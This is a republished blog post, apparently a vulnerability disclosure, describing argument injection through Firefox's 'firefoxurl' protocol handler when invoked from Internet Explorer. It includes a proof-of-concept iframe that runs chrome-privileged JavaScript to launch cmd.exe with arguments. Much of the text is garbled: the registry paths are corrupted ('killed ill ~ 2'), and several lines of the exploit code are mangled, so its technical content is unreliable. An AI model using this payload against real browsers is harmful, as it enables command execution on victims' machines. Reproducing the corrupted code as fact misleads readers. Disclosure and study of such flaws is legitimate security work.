Internet Explorer 0day Exploit

Source: Internet
Author: User

There is an input validation flaw in Internet Explorer that allows you to specify arbitrary arguments to the process responsible for handling URL protocols. this is the same type of input validation vulnerability that I discovered in the Safari 3 beta (see "Safari for Windows, 0day exploit in 2 hours").

When Firefox is installed it registers a URL protocol handler called "firefoxurl". A typical shell open command for this handler is as follows:

[Hkey_classes_root \ firefoxurl \ shell \ open \ command \ @]
C: \ progra ~ 1 \ killed ill ~ 2 \ Firefox. exe-URL "% 1"-requestpending

When Internet Explorer encounters a reference to content inside the firefoxurl URL scheme it CILS ShellExecute with the EXE image path and passes the entire request URI without any input validation. A request such as the following

Firefoxurl: // foo "-argument" my value

Will result in the following command line being used to launch Firefox

"C: \ progra ~ 1 \ disable ill ~ 2 \ Firefox. EXE "-URL" firefoxurl: // foo "-argument" my value/"-requestpending

As can be evidenced it is possible to specify arbitrary arguments to the specified firefox.exe "process. this is where the "-Chrome" command line argument comes in handy, as it allows us to specify arbitrary JavaScript code which is then executed within the privileges of trusted chrome content.

The exploit that I developed for Safari simply opened cmd. EXE without specifying any arguments, an exercise that was left for the reader. for this exploit I have chosen to demonstrate how you can specify process arguments with the nsiprocess Interface found in Mozilla.

The details can be found in the @ mozilla.org/process/util;1 component and the nsiprocess interface. nsiprocess takes 3 arguments:

Blocking: whether to wait until the process terminates before returning or not
ARGs: an array of arguments to pass to the Process
Count: the length of the ARGs Array
As with the previous exploit it is necessary to HTML Escape any characters which cannot be used directly inside the URL or the command line, such as commas and quotes. for demonstration purposes I have chosen to escape these characters with both HTML entities and dynamic string construction.

Billy Rios already highlighted a few of the specified comings with the firefoxurl protocol handler in "Cross Browser Scripting Demo". the following proof-of-concept exploit takes this reasoning to its logical conclusion, namely command execution with arbitrary arguments.

<HTML> <body>
<IFRAME src = 'firefoxurl: // larholm.com "-Chrome" javascript: c = components. classes; I = components. interfaces;
File = C ['@ mozilla.org/file/local1_1'#.createinstance (I. nsilocalfile );
File. initwithpath ('C: '+ String. fromcharcode (92) + String. fromcharcode (92) + 'windows' +
String. fromcharcode (92) + String. fromcharcode (92) + 'system32' + String. fromcharcode (92) +
String.fromcharcode(92w.{'{.exe ');
Process = C ['@ mozilla.org/process/util%1'%.createinstance (I. nsiprocess );
Process. INIT (File );
Process. Run (true, ['/K % 20 echo % 20 Hello % 20 from % 20larholm.com'], 1 );
'> <
</Body>

Remember to remove the line breaks if you want the exploit to work, they are only there for cosmetic reasons. You can also test this exploit at http://larholm.com/vuln/firefoxurl.html.

And there you have it, a cross browser command injection vulnerability for Internet Explorer. I am currently having some fun with the Windows Help Center and Office Groove 2007, both of which exhibit some clear potentials for malicous manipulation, but that will have to wait for a later article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.